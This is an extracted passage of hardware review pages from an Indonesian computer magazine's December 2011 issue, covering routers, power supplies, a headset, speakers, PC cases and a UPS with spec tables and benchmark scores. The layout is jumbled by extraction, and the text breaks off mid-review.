Koneksi internet menjadi salah satu hal penting akhir-akhir ini, bahkan bisa dibilang kebutuhan primer. Seiring dengan meningkatnya kebutuhan tersebut, saat ini makin banyak pilihan perangkat yang memungkinkan koneksi ke internet dengan jaringan internet tersendiri. Masalahnya, ketika dalam kondisi stasioner seperti di rumah, ada kalanya Anda ingin menetapkan koneksi internet secara terpusat hanya untuk satu koneksi untuk beberapa perangkat. Penggunaan gateway bisa menjadi salah satu solusinya dengan catatan Anda hanya menginginkan satu koneksi internet. Solusi produknya adalah Venus VR 433 N ini. Ia adalah produk gateway dengan pusat koneksi internet berbasiskan modem wireless USB 1 atau wired ADSL. Dengan kata lain, masih diperlukan perangkat lain berupa modem untuk koneksi internet. Dukungan modem cukup luas, terutama pada jenis USB, baik koneksi GSM maupun CDMA. Setting pun cukup 12/2011

53_Venus VR 433 N_wawa edit nur.indd 53

64%

1

Interkoneksi RJ-45 dan USB untuk power.

Indikator LED di bagian samping kiri.

80 100 Nilai% 66% 52% 50% 36% 98%

Port akses utama modem USB.

dimudahkan dengan pengaturan berbasiskan web yang cukup intuitif. Sebagai pusat koneksi internet, produk Venus ini berhubungan dengan perangkat untuk mengakses internet via jaringan nirkabel atau biasa disebut Wi-Fi. Dengan kata lain, ia bisa dibilang menciptakan hotspot tersendiri bagi pengguna. Untuk koneksi secara fisik, hanya disediakan port LAN RJ-45 2 , sedangkan port RJ-45 kedua 3 untuk koneksi WAN (misalnya model ADSL). Bagusnya, ekstra sebuah port LAN ini dapat dikembangkan untuk menghubungkan jaringan lokal dan bukan hanya terbatas pada single device, sama seperti multikoneksi Wi-Fi. Kinerjanya cukup baik untuk ukuran network gateway. Rata-rata akses koneksi ke gateway via wireless maupun wired memberikan skor yang baik. Batasannya tinggal pada penentuan paket dari vendor internet.[[emailprotected]]

53

11/8/2011 12:57:47 PM

HARDWARE TEST Wireless Router + Power Adaptor

CISCO LINKSYS E1000 Setelah pada edisi-edisi sebelumnya kami menguji produk Cisco Linksys yang memiliki penawaran lebih akan fitur maupun sisi performa, rasanya kurang lengkap bila kami tidak menghadirkan pilihan produk yang lebih mengutamakan sisi value atau keterjangkauannya. Untuk itu, kami menghadirkan solusi wireless router Cisco yang terbilang terjangkau dari seri produk E-nya. Produknya sendiri seri E dengan model nama 1000 yang memiliki penawaran sisi koneksi utama saja, terutama di sini untuk wired (RJ-45) dan wireless. Dengan kata lain, ia tidak menyediakan koneksi USB untuk perangkat tambahan atau storage. Satu hal yang jelas, meski dari jajaran produk yang lebih terjangkau, E-1000 tidak meninggalkan kemampuan operasional maupun performa dari setiap produk Cisco Linksys. Pada desain produk, seperti produk E series lain, dikedepankan bentuk seder-

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Tipe Produk Bands Transmit/Receive Antennas Ethernet Ports x Speed USB Storage Port OS Compatibility Package Contents

E-series paling terjangkau.

Interkoneksi di bagian belakang.

wireless router N simultaneous 2.4 GHz and 5 GHz 2x2 2 internal 4 x 10/100 no Windows, Mac - Setup Software and User Guide on CD-ROM - Ethernet network cable - Quick Installation Guide - Energy Star power adapter BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% LAN 65% Wi-Fi @ 0m LOS 62% Wi-Fi @ 10m 61% Signal to Noise Ratio 68% (dB) Wi-Fi @ 10m

TOTAL PERFORMA

Indikator LED lengkap.

TOTAL PENILAIAN

hana tanpa terganggu oleh pemakaian antena eksternal. Instalasi pun sangat dimudahkan dengan kondisi out of the box beserta stempel yang mengharuskan instalasi software bawaan terlebih dahulu. Walau begitu, pengaturan router tetap dimungkinkan hanya berbasiskan web.[[emailprotected]]

Total Performa Fitur & Perlengkapan Handling Service Harga

63% %0 20

HUNTKEY 65W ES Pada edisi penghujung 2011 ini, kami menghadirkan solusi produk power supply yang dikhususkan untuk perangkat mobile PC (notebook). Produknya sendiri didatangkan dari produsen Huntkey yang merupakan produk universal adapter. Sesuai klaim produsen, produk seri 65 watt ES yang kami uji ini akan cocok dengan hampir sebagian besar notebook yang ada di pasaran saat ini. Hal yang memungkinkan itu terjadi adalah disertakannya berbagai pilihan adapter tip konektor yang berjumlah hingga sembilan buah 1 yang mewakili berbagai bentuk konektor adaptor yang diimplementasikan oleh berbagai produsen pada produk masing-masing. Sesuai model, secara maksimal ia hanya dapat meng-handle output daya hingga 65 watt. Nilai ini sudah lebih dari cukup untuk memberikan daya bagi sebagian besar notebook mainstream. Bagusnya lagi, kemampuan konversi daya

Cisco Linksys E1000 Rp450.000,00 (kisaran) CISCO Ingram Micro, (021) 6011975 www.cisco.com

WE LIKE Keterjangkauan, maksimal operasional kelas Cisco.

40

60

80 100 Nilai% 63% 62% 55% 55% 98%

WE DON’T Tidak ada port USB.

TOTAL NILAI

67%

(MAKS.160=100%)

PRODUK/DATA TEST PRODUK Huntkey 65W ES HARGA US$21 (kisaran) Manufaktur Huntkey Hong Kong Development Co., Ltd. Kontak ASIARAYA, [emailprotected] Website www.huntkeydiy.com DATA TEKNIS Input Voltage 100-240 VAC Input Frequency 50/60 Hz Output Watt 65 W Output Voltage 19 VDC (± 5%) Output Current 0-3.42A Efficiency 87% Ripple/Noise 190 mV Operating Temperature 0° C to +40° C Stand by Power 0.30 W Size 96.5 x 45.8 x 28 mm (L x W x H) BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Performa 65%

Adaptor notebook universal.

1

TOTAL PERFORMA

65%

TOTAL PENILAIAN %0 20

Bundle 9 unit tip konektor.

Kabel power.

efisiensinya mencapai 87% walau hal ini masih berdasarkan klaim produsen. Dari load standar notebook 45 watt secara penuh, adaptor ini menyerap daya listrik hingga 55 watt dengan stabil pada kisaran 53 watt. Nilai itu cukup baik, mendekati standar efisiensi 87% yang diklaim.[[emailprotected]]

54

54_Cisco Linksys E1000 & Huntkey Notebook Adapter_edit wawa edit nur.indd 54

Total Performa Fitur & Perlengkapan Handling Service Harga WE LIKE Universal adaptor, 9 tip konektor.

TOTAL NILAI (MAKS.100=100%)

40

60

80 100 Nilai% 65% 73% 72% 39% 79%

WE DON’T -

69%

12/2011

11/9/2011 4:34:25 PM

asia raya 3_12.indd 1

08/11/2011 16:28:27

HARDWARE TEST PSU

ENERMAX NAXN 550W

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Power Rating ATX Version PFC Input Frequency Range AC Input DC Output

1

Enermax NAXN 550W Rp600.000,00 (kisaran) ENERMAX Technology Corp. Foxhound, (021) 62304573 www.enermax.com

550 watt ATX EPS 12V V2.3 Active 47-63 Hz 8A @ 100 ~ 240 Vac +3.3 V +5 V +12V1 ~ +12V2 -12 V +5 V (stand by) Jumlah / Ukuran Fan 1 / 12 cm fan Dimensi 85 (H) x 150 (W) x 140 (D) mm Manajemen Fan HeatGuard Fan Control (up to 60 second after power off) Bobot 1,838 kg Fitur Tambahan HeatGuard Fan Paket Penjualan kabel power, manual, 4 x mur Garansi 5 tahun BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Vcore Full Load (V) 1.22 +3.3v Full Load (V) 3.232 +5v Full Load (V) 5.136 +12v Full Load (V) 11.536 4+4pin (CPU) Full Load (V) 11.61

Nilai% 100% 93% 98% 92% 92%

TOTAL PERFORMA

94%

TOTAL PENILAIAN %0 20

Koneksi kabel power standar.

Total Performa Fitur & Perlengkapan Service Harga WE LIKE Manajemen fan Heatguard, fitur Safeguard.

TOTAL NILAI (MAKS.168=100%)

40

60

80 100 Nilai% 94% 58% 93% 85%

WE DON’T Efisiensi kurang maksimal.

83%

100% Independent Test-bed: Intel Core i7 3.2GHz, ASUS P6T Deluxe V2, 2x Radeon HD 5770 (CrossFire), 3x 2048MB DDR3-1333, WD Raptor 74GB, Windows 7 Ultimate x64, Furmark, Prime95.

Ekstrafitur HeatGuard.

Output moderat dengan standar BRONZE.

Mengedepankan solusi power supply dengan efisiensi tinggi untuk kelas yang lebih terjangkau adalah salah satu usaha Enermax dalam memenuhi kebutuhan penggunanya dengan seri produk PSU NAXN. Produk NAXN yang kami uji kali ini adalah varian baru dengan rating power 550 watt dan memiliki sertifikasi 80PLUS BRONZE. Memasuki fakta-fakta spesifikasi hardware yang ditawarkan, tampak bahwa Enermax menggunakan jenis komponen moderat. Tidak ada klaim seperti penggunaan capacitor Jepang, baik primer maupun sekunder, bahkan untuk filtering. Satu hal yang cukup menjanjikan adalah sisi desain board layout komponen yang menyediakan ruang untuk semua grup komponen penting dalam sebuah switching power supply, dimulai dari transient filtering, active PFC, hingga bagian primer maupun sekunder yang lengkap. Untuk desain output, PSU ini tetap menggunakan koneksi kabel standar

56

56_Enermax NAXN 550W_edit wawa edit nur.indd 56

1

(terintegrasi ke board) untuk keseluruhan output kabel. Tampaknya, penggunaan jenis komponen standar dan desain PSU adalah langkah untuk menghadirkan produk yang lebih terjangkau. Sisi performa memang bukan hal yang menonjol pada PSU ini sebagaimana hasil pengujian pada tabel. Semua output mengalami penurunan tegangan walau masih dalam ambang normal. Hal ini menunjukkan kelemahan di sisi regulasi output dan filtering akhir. Untuk efisiensi, pada standar pengujian 330 watt yang kami gunakan, PSU ini menyerap daya hingga 430 watt di mana menunjukkan tingkat efisiensi hanya sebesar 76,74%. Di luar itu semua, PSU ini tetap memberikan hal solid dalam operasional yang biasanya hanya ditemukan pada PSU kelas atas, seperti ekstrafitur HeatGuard, Active PFC, sirkuit perlindungan yang lengkap Safeguard, dan tidak ketinggalan desain dari enclosure PSU.[[emailprotected]] 12/2011

11/8/2011 1:06:35 PM

Stereo Headphone

SENNHEISER PC 360 G4ME

HARDWARE TEST

PRODUK/DATA TEST PRODUK Sennheiser PC 360 G4ME HARGA Rp3.000.000,00 (kisaran) Manufaktur Sennheiser Electronic GmbH & Co. KG Kontak Astrindo Senayasa, (021) 6121330 Website www.sennheiser.com DATA TEKNIS Wearing Style headband, double sided Cable Length 3m Connector 2 x 3.5 mm for desktop/laptop Weight 300 g Frequency Response 15–28,000 Hz Impedance 50 O Sound Pressure Level (SPL) 112 dB Mic. Frequency Response 50–16,000 Hz Mic. Pick-up Pattern noise canceling Mic. Impedance 2 kOhm BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Freq Response Low 90% Freq Response High 90% Surround Quality 87% Sound Quality 100% Power Quality 80% Noise Level 80%

3 4 Line-out dan mic jack.

TOTAL PERFORMA

89%

TOTAL PENILAIAN %0 20 Total Performa Kelengkapan Handling Harga

1

WE LIKE Kinerja sangat baik, integral control di headphone.

TOTAL NILAI Maksimalitas gaming audio dan sound system personal.

4

Desain circumaular dan busa yang nyaman.

2

57_Sennheiser PC 360 G4ME_wawa edit nur.indd 57

Poros handle mic yang berfungsi ekstra sebagai mute mic.

60

80 100 Nilai% 89% 42% 65% 35%

WE DON’T Grip handle headphone.

66%

(MAKS.400=100%)

1

Kendali volume pada driver kanan.

Stereo headphone kelas premium adalah kesan yang cukup tecermin dari produk Sennheiser yang satu ini, PC 360. Bukan hanya itu, ia juga dikategorikan sebagai gaming headphone yang ditandai dengan label G4ME. Dari segi desain, PC 360 hampir tampil sama dengan beberapa tawaran headphone Sennheiser yang pernah kami uji. Yang membuatnya lebih unik adalah sisi integrasi microphone yang juga memiliki fungsi handle on/off 1 atau mute dari mic itu sendiri. Dengan kata lain, handle mic jika diposisikan ke atas (menandakan tidak dipakai), ia tidak berfungsi atau dalam kondisi mute, sedangkan bila dalam posisi di depan muka dekat mulut, berada dalam kondisi aktif (tidak mute). Selain sisi handle microphone, ia juga memiliki knop volume 2 yang ditempatkan pada headphone sebelah kanan. Dua fitur ini menyebabkan ia tidak memerlukan lagi controller untuk mic on/off (mute) dan volume sebagaimana headphone biasanya. 12/2011

Unit microphone.

40

3

Handle headphone dengan keleluasaan posisi mengikuti kontur bentuk kepala.

Mengarah ke desain bentuk, headphone ini tetap menggunakan dua pivotal 3 agar dapat menyesuaikan ukuran dan bentuk kepala pemakai. Driver tetap bertahan pada bentuk circumaular 4 yang menutupi seluruh telinga. Hal ini menyebabkan minimnya tekanan headphone ke telinga langsung walaupun grip handle headphone cukup mencengkeram kuat kepala. Meski begitu, handle headphone dilengkapi dengan busa yang cukup menyamankan. Pada sisi peforma, PC 360 menunjukkan kelasnya sebagai headphone premium di mana reproduksi suara yang merata hampir di semua spektrum frekuensi dapat didengar telinga manusia. Bagusnya lagi, semua respons audio dapat dihadirkan dengan tingkatan kualitas yang terbilang sangat baik. Tidak ketinggalan, terdapat ekstrafungsi microphone untuk maksimalitas fungsional penggunaan untuk gaming audio.[[emailprotected]]

57

11/8/2011 1:09:05 PM

HARDWARE TEST Portable Speaker

EDIFIER MF240

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Speaker System Power Rating Signal-to-Noise-Ratio Overall Frequency Response Satellite Amp Power Driver Specification

1

Edifier MF240 Rp739.000,00 (kisaran) Edifier International Limited Edifier / (021) 68667866 http://www.edifier-international.com 2.1 portable speaker 3.5 watts RMS total x 2 80 dBA 80 Hz–20 kHz

1.5”, omni-directional, full range speakers Dimensi Satellite 70 x 130 x 130 mm (L x W x H) Weight 0,326 g Input SD, USB, FM, Aux Extra Feature FM radio BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Freq Response Low 8 Freq Response High 7.5 Surround Quality 10 Sound Quality 13 Power Quality 7 Noise Level 5

Nilai % 80% 75% 67% 87% 70% 100%

TOTAL PERFORMA

76%

TOTAL PENILAIAN %0 20

Multimedia speaker dengan bonus jam weker.

Beralih fungsi menjadi pelindung.

Total Performa Kelengkapan Handling Harga WE LIKE Bentuk unik dengan suara maksimal.

40

60

80 100 Nilai% 76% 28% 58% 84%

WE DON’T Tidak ada nada alarm khusus.

TOTAL NILAI

3

69%

(MAKS. 350=100%)

2

4

Semua input disatukan di sini.

Mirip D-Pad, juga sebagai on/off switch.

Mungkin jika semua kabel di bagian belakang bisa disembunyikan, niscaya orang akan mengira Edifier MF240 ini hanyalah jam alarm digital. Ditopang dua buzzer 1 buatan yang sejatinya sebagai pelindung dua driver satelit, Edifier MF240 makin mirip dengan jam weker klasik. Jika saja ditambah lapisan warna krom atau pernekel, akan makin sulit membedakan mana jam weker klasik dan mana Edifier MF240. Dari segi kualitas suara, nama Edifier masih menjadi jaminan bahwa Anda bisa mendapatkan kualitas reproduksi suara kelas menengah atas. Walau hanya dikawal power amplifier sebesar 3,5 watt per kanal, kualitas driver baik woofer maupun midrange-nya, mampu menerjemahkan sinyal audio menjadi suara yang pas. Tingkat noise juga sangat kecil sekalipun volume telah kami setting maksimal. Preset volume dapat di-setting dari 0-30 secara digital. Kualitas penerimaan sinyal radio FM-nya juga cukup baik.

58

58_Edifier MF240_Edit rifan edit nur.indd 58

Sederhana, tetapi jelas dan informatif.

Dengan sekali tekan, Edifier MF240 akan mulai mencari sinyal dari radio di sekitar lalu secara otomatis menyimpannya dalam preset. Ditambahkan pula info kekuatan sinyal tiap-tiap stasiun radio yang sedang didengarkan. Sayangnya, belum ada fitur merekam FM radio pada MF240 ini. Sebagai pemutar file MP3, Edifier MF240 sudah cukup lumayan walau terbilang sederhana sekali. Lagu diputar sesuai urutan file per folder. Tampilan LCD 2 -nya tak memungkinkan untuk ditambahkan fitur file explorer untuk memudahkan pengguna mencari lagu yang diinginkan tanpa harus menekan tombol next atau prev terus-menerus. Edifier MF240 mendukung SD card 3 juga USB 4 flashdisk sebagai media input. Maksimal flash media yang mampu dibacanya adalah kapasitas 16 GB. Segi operasionalnya tergolong user friendly. Tak dibutuhkan waktu lama untuk beradaptasi.[[emailprotected]] 12/2011

11/8/2011 11:51:34 AM

Axioo_12.indd 1

09/11/2011 14:01:12

HARDWARE TEST Speaker 2.1

NIVS NCT-N1U

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak

NIVS NCT-N1U Rp275.000,00 (kisaran) NIVS – NEOCYBERTECH Group Neocybertech / (024) 3515119, 3518540 www.nivsindonesia.com

Website DATA TEKNIS Speaker System 2.1 analog speaker Power Rating 10 watts RMS total Signal-to-Noise-Ratio >= 65 dBA Overall Frequency 50 Hz–18 KHz Response Satellite Amp Power 2 x 2,5 watt RMS Satellite Driver 2,5” Dimensi Satellite 83 × 90 × 132 mm Low-range Amp Power 5 watt RMS Subwoofer Driver 4” woofer Dimensi Subwoofer 140 × 210 × 220 mm BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % Freq Response Low 5 poin 50% Freq Response High 5 poin 50% Surround Quality 5 poin 33% Sound Quality 8 poin 53% Power Quality 5 poin 50% Noise Level 3 poin 60%

5

TOTAL PERFORMA

Kurang menghentak sebagai stand alone media palyer.

47%

TOTAL PENILAIAN %0 20

5

40

60

Total Performa Kelengkapan Handling Harga

4

WE LIKE Dedicated MP3 player.

80 100 Nilai% 47% 32% 50% 96%

WE DON’T Terlalu tebal di frekuensi menengah dan tinggi.

TOTAL NILAI

57%

(MAKS. 400=100%)

Volume kontrol bergaya linier.

6

1 2

Bass kontrol tersembunyi.

Bagian belakang sederhana.

Sejatinya, yang menjual dari produk ini adalah tambahan dedicated MP3 player-nya karena secara keseluruhan, kualitas reproduksi suaranya terbilang pas-pasan. Berbeda dengan produk NIVS yang kami uji pada bulan lalu, kualitas suara NIVS NCT-N1U ini cukup jauh tertinggal, terutama pada frekueansi rendah atau suara bass-nya. Dari berbagai jenis musik yang kami mainkan saat uji coba, NIVS NCT-N1U cenderung meng-overdrive frekuensi menengah dan atas, sedangkan frekuensi bawahnya seperti tertahan. Pun begitu kualitas frekuensi menengah dan tinggi, tidak bisa dibilang baik, agak berlebihan terutama di jalur vocal. Diperlukan preset equalizer yang tepat untuk mengurangi ketebalan frekuensi tengah speaker ini. Pada fitur pemutar MP3 1 -nya, lagi-lagi tidak ada yang spesial. NIVS NCT-N1U dapat membaca file-file MP3 dari media SD card 2 maupun USB flash drive 3 . Jika kedua jenis media input

60

60_NIVS NCT-N1U_Edit rifan edit nur.indd 60

3

Area media player.

tersebut terisi, cukup tekan tombol mode untuk memilih sumber yang akan dijadikan default. Disertakan tiga tombol untuk opsi media player—Play/Pause, Next, dan Prev. Tidak ada keterangan berapa maksimal kapasitas media yang bisa dibaca pemutar MP3 dedicated-nya. Sejauh yang kami coba, media dengan kapasitas 16 GB masih mampu dibaca dengan baik. Pada segi desain, digunakan metode back firing pada pemasangan woofer 4 . Metode ini cukup baik. Sayangnya, area ini tak dilengkapi dengan pemfilter debu. Otomatis area yang terbuka tersebut dengan cepat menjadi penampung debu dan kotoran. Material speaker yang dibanderol dengan kisaran Rp275.000,00 ini cukup baik. Untuk kontrol suara, ia hanya dibekali pengatur volume 5 dan bass. Kontrol bass 6 ditempatkan di bagian belakang speaker. Andai saja dibekali kontrol equalizer, pasti NIVS NCT-N1U akan lebih mumpuni dijadikan media hiburan stand alone. [[emailprotected]] 12/2011

11/8/2011 11:53:32 AM

PC Case HARDWARE TEST

VENOM RX ATRA GTO

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Form Factor Weight Dimensions (D x W x H) Material Tool-Free Installation Motherboards Supported Motherboard on Tray Lighting Effects Power Supply Drive Bays

tower 10.3 kg 592 x 252 x 572 mm plastik bezel , SECC chassis, metal yes ATX no front, top fan (biru) no 4 5.25”, externally accessible 0 5.25”, internal 0 3.5”, externally accessible 6 3.5”, internal AGP/PCI Expansion Slots 7 Ports 2 USB 2.0 1 USB 3.0 audio, mic Displays no System Fan drill holes/carriage for, 120 mm fan/5 built-in fan, yes (3) Manufacturer ; Dust Protection Filter yes Extra cable management, USB 3.0 BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % CPU Temp. (°C) Max 58.0 71% Chipset Temp. (°C) Max 47.0 78% VGA Chipset Temp. (°C) Max 75.0 75% Harddisk Temp. (°C) Max 37.0 78% PSU Temp. (°C) Max 39.0 80% PWM Temp. (°C) Max 57.5 78%

4

Kelas antusias nan terjangkau.

VENOM RX ATRA GTO US$80 (kisaran) Venom-RX Asiaraya / [emailprotected] www.venomrxs.com/

Ventilasi berkurang. TOTAL PERFORMA

2

5

75%

TOTAL PENILAIAN %0 20 Total Performa Kualitas Bahan Bobot Instalasi dan Manual Upgradeable Harga

Pindah ke bagian atas.

Hybrid 3,5” atau 2,5”.

3

WE LIKE Gaming case dengan harga terjangkau, fitur melimpah.

TOTAL NILAI (MAKS. 250=100%)

1

Sistem kabel manajemen baru, dijamin rapi.

Tanpa dust filter.

Di Web resminya, VenomRX ATRA GTO termasuk kategori hardcore gamers case. Jika dibandingkan dengan seri Mamba pada edisi 10/2011 lalu yang harganya hanya lebih murah $10, ATRA GTO menawarkan expandability yang lebih baik. Tengok saja dimensinya yang lebih besar daripada Mamba plus fitur kabel manajemen 1 yang lebih disempurnakan. Sayangnya, panel LCD informasi absen pada seri ini. Front panel 2 area dipindah ke bagian atas casing. Hal itu agak menyulitkan akses bagi user yang menempatkan casing di atas meja. Hal lain yang menonjol dari ATRA GTO adalah fitur detachable Dust Filtering 3 yang selayaknya terdapat pada casing premium. Fitur ini bisa ditemukan pada bagian atas dan panel depan. Sepertinya ATRA GTO benar-benar mengandalkan kinerja airflow. Hal itu bisa dilihat dari minimnya ventilasi di sisi kiri kanan casing. Bahkan, ventilasi di atas expansion slot 4 juga absen, tidak seperti Mamba yang serbaberlubang. Hal 12/2011

61_VenomRX Atra GTO_Edit rifan edit nur.indd 61

Dust filter terpasang.

40

60

80 100 Nilai% 75% 75% 50% 83% 97% 97%

WE DON’T Panas untuk ukuran casing besar.

80%

100% Independent Test-bed: Intel Pentium D 3,6GHz; Asus P5W DH Deluxe; GeForce 8800GT 512MB, 2x1GB DDR2 PC6400; WDC SATA II 160GB; Windows XP Professional SP2; ASUS PC Probe II; HD Tune Pro 3.00 Trial; Riva Tuner; CPU Stability Test 6.0; PCMark05.

itu membuat casing ini sedikit panas saat kami uji. Desain penempatan fan sama persis dengan pada Mamba. Pabrikan sudah menyertakan 3 fan berlampu biru dengan diameter 120 mm—1 di panel depan, 2 lainnya di sisi atas. Masih ada 2 fan carriege yang siap dipasang fan, yakni di sisi belakang dan dasar casing. Andai saja pada ATRA GTO diadopsi swithcable lightning efek pada casing fan-nya, bisa saja orang menilai casing seharga $80 ini sebagai casing mahal. Desain toolfree kit untuk area storage-nya juga kena sentuhan modern. Pada seri ini diadopsi jenis hybrid di mana setiap HDD kit 5 -nya bisa dipasangi HDD 3,5” maupun 2,5”. Meski tanpa dibaut, getaran di area HDD saat kondisi full load tetap minim. Storage kit pada ATRA GTO ini mengingatkan pada produk Cooler Master. Sayangnya, pada ATRA GTO belum diadopsi fitur HDD Docking yang saat ini sedang tren di kalangan gamer maupun antusias. [[emailprotected]]

61

11/9/2011 4:35:13 PM

HARDWARE TEST PC Case

COOLERMASTER COOLER MASTER ELITE 431 PLUS 3

2

4

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Form Factor Weight Dimensions (D x W x H) Material Tool-free Installation Can be Opened with Motherboards Supported Sides of Case Lighting Effects Power Supply Drive Bays

Coolermaster Cooler Master Elite 431 plus US$57 (kisaran) Coolermaster Astrindo Senayasa / (021) 61213330 www.coolermaster.com

mid tower 5 kg 499 x 192 x 427 mm aluminum bezel , SECC chassis yes ATX viewable front fan (white) no 3 5.25”, externally accessible 2 3.5”, externally accessible 7 3.5”, internal AGP/PCI Expansion Slots 7 Ports 3 2 x USB 2.0, 1 x USB 3.0 0 FireWire 1394 Audio audio in, mic Displays no System Fan drill holes/carriage for yes built-in fan yes manufacturer coolermaster Dust Protection Filter no Extra 2.5/3.5 HDD Docking, USB 3.0, tighten dop BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % CPU Temp. (°C) Max 57.0 76% Chipset Temp. (°C) Max 52.0 78% VGA Chipset Temp. (°C) Max 83.0 77% Harddisk Temp. (°C) Max 37.0 79% PSU Temp. (°C) Max 42.0 81% PWM Temp. (°C) Max 65.0 77%

TOTAL PERFORMA

Elegan dan luas, tetapi panas.

77%

Perlu tambahan ventilasi. TOTAL PENILAIAN %0 20 Total Performa Kualitas Bahan Bobot Instalasi dan Manual Upgradeable Harga WE LIKE HDD Docking, USB 3.0 port.

Deretan front panel port sangat baik.

40

60

80 100 Nilai% 77% 75% 100% 73% 90% 85%

WE DON’T Tidak ada kabel manaje men, tool free kit minim.

1 TOTAL NILAI (MAKS. 250=100%)

PSU position lock, simpel tapi useful.

Untuk ukuran mid tower, ekstraluas.

Untuk casing midle tower, desain layout bagian dalam Cooler Master Elite 431+ terbilang cukup luas. Jika diukur, casing ini mampu menampung VGA card high-end hingga panjang 12,4”. Sedikit pun tak ditemukan masalah saat bongkarpasang motherboard ataupun VGA card. Pasalnya, umumnya masalah utama pada casing mid tower adalah jarak komponen yang akan sangat berdekatan, juga “cabling” yang cenderung semrawut. Andai saja pada casing ini diadopsi fitur kabel manajemen, setidaknya hasil akhir rakitan akan tetap terlihat rapi dan terkesan lega. Pada sisi fitur, walau tipe ini belum dilengkapi dengan removable dust filter, lapisan mesh di beberapa lubang ventilasi bisa dilepas. Yang merepotkan, Anda harus melepas exhaust fan terlebih dahulu untuk mengakses bagian ini. Expandability pada Cooler Master Elite 431 plus sudah cukup lengkap, sangat leluasa bagi Anda yang berniat meng-expand hardware

62

62_Cooler Master Elite 431 plus_Edit rifan edit nur.indd 62

80%

100% Independent Test-bed: Intel Pentium D 3.6GHz; Asus P5W DH Deluxe; GeForce 8800GT 512MB, 2 x 1GB DDR2 PC6400; WDC SATA II 160 GB; Windows XP Professional SP2; ASUS PC Probe II; HD Tune Pro 3.00 Trial; Riva Tuner; CPU Stability Test 6.0; PCMark05.

komputer dengan menambah periferal berbasiskan PCI card ataupun storage. Sayangnya, tool free kit untuk drive bay 1 kurang maksimal. Anda hanya bisa memasang maksimal dua drive, baik di bay 3,5” maupun 5,25”. Selebihnya, silakan manfaatkan baut yang disertakan. Hadirnya HDD Docking 2 semakin melengkapi fitur expansibility casing ini. Ia juga mendukung HDD ukuran 3,5” maupun 2,5”. Sepertinya, Anda wajib menambah casing fan untuk menjaga sirkulasi dalam casing tetap sejuk. Pasalnya, dari pengujian yang kami lakukan, beberapa titik terutama suhu VGA perlu diperhatikan cukup serius. Tak perlu khawatir, fan carriage 3 pada Cooler Master Elite 431+ lebih dari cukup. Tambahan ventilasi di atas expansion slot 4 mungkin bisa membantu membuang panas di area VGA. Total lima casing fan yang bisa dipasang, semuanya mampu menampung fan hingga diameter 120 mm. [[emailprotected]] 12/2011

11/8/2011 1:23:24 PM

UPS

APC SMART UPS SUA 3000 XLI 1

HARDWARE TEST

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak

Website DATA TEKNIS Power (VA) Input (V) Input Freq. Output

APC Smart UPS SUA 3000 XLI Rp15.000.000,00 (kisaran) American Power Conversion PT Avnet Datamation / (021) 3448848 PT ECS Indo Jaya / (021) 62312893 GEIC Jaya Lestari / (021) 6011975 PT Ingram Micro Indonesia / (021) 5711717 www.apc.com

3000 220-230-240 Vac 50/60 Hz Configurable for 220 : 230 or 240 nominal output voltage Output Freq. 50~60 Hz Type Battery maintenance-free sealed Lead-Acid battery with suspended electrolyte : leakproof Perlengkapan LED status display, power switch, 3 AC outlet, AC fuse, AC input, USB+Com port, external battery connector Paket Penjualan power cable, serial cable, USB cable, safety manual, quick start, software on CD-ROM Dimensi (P x L x T) 49,5 x 22,1 x 44,4 cm Bobot 55 kg BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % Daya Tahan Baterai 80 100% (1 unit PC @ 246W) Daya Tahan Baterai 134 100% (1 unit PC tanpa monitor) Recharge 90% 195 100% Operasional 80 80% Instalasi dan Setup 100 100%

UPS korporat dengan efisiensi tinggi dan sarat fitur.

TOTAL PERFORMA

1

98%

TOTAL PENILAIAN

2

%0 20

3

Total Performa Kelengkapan Fungsionalitas Harga WE LIKE Dua opsi, stand dan rack, efisiensi charging dan transfer daya sangat baik.

Outlet, 1 pcs 16A + 8 pcs 10A.

Port baterai eksternal.

Berbasiskan LED informatif.

TOTAL NILAI (MAKS. 375=100%)

4

Steker jenis khusus.

5

40

60

80 100 Nilai% 98% 100% 100% 0%

WE DON’T Software monitoring berbasiskan web, tidak mendukung auto refresh.

73%

100% Independent Test-bed: INTELCore i7 EE 965 3.2GHz, ATI HD 5770 1GB x2 (Crossfire), Team Elite DDR3 3x1GB 1066, WD 160 GB SATA, Windows 7 Ultimate 64bit, Monitor CRT 17”.

Konektor baterai, simpel. EPO, port pengaman khusus.

Kelebihan utama APC Smart UPS SUA 3000 XLI adalah pada efisiensi penyaluran daya dan recharging time. Efisiensi penyaluran energi cadangan dari baterai ke komputer beban saat listrik terputus merupakan yang terbaik yang pernah kami uji. Begitu pula efisiensi recharging-nya. Untuk mengisi penuh dari sisa 10%, hanya dibutuhkan waktu waktu 195 menit, jauh berbeda dengan UPS yang didesain untuk aplikasi rumahan yang bisa memakan waktu 400 menit untuk mengisi penuh kapasitas baterainya yang hanya 600 VA. Karena APC Smart UPS SUA 3000 XLI memang juga dirancang untuk di-mounting di rak server, panel informasi 1 didesain bisa diposisikan vertikal maupun horizontal. Pabrikan juga memberikan rack-mount bracket. Tak perlu khawatir untuk instalasinya karena buku manualnya sangat jelas. Seperti produk-produk sebelumnya, SUA 3000 XLI juga mendukung penggunaan baterai ekstender 2 sehingga 12/2011

63_APC Smart UPS SUA 3000 XLI_Edit rifan edit nur.indd 63

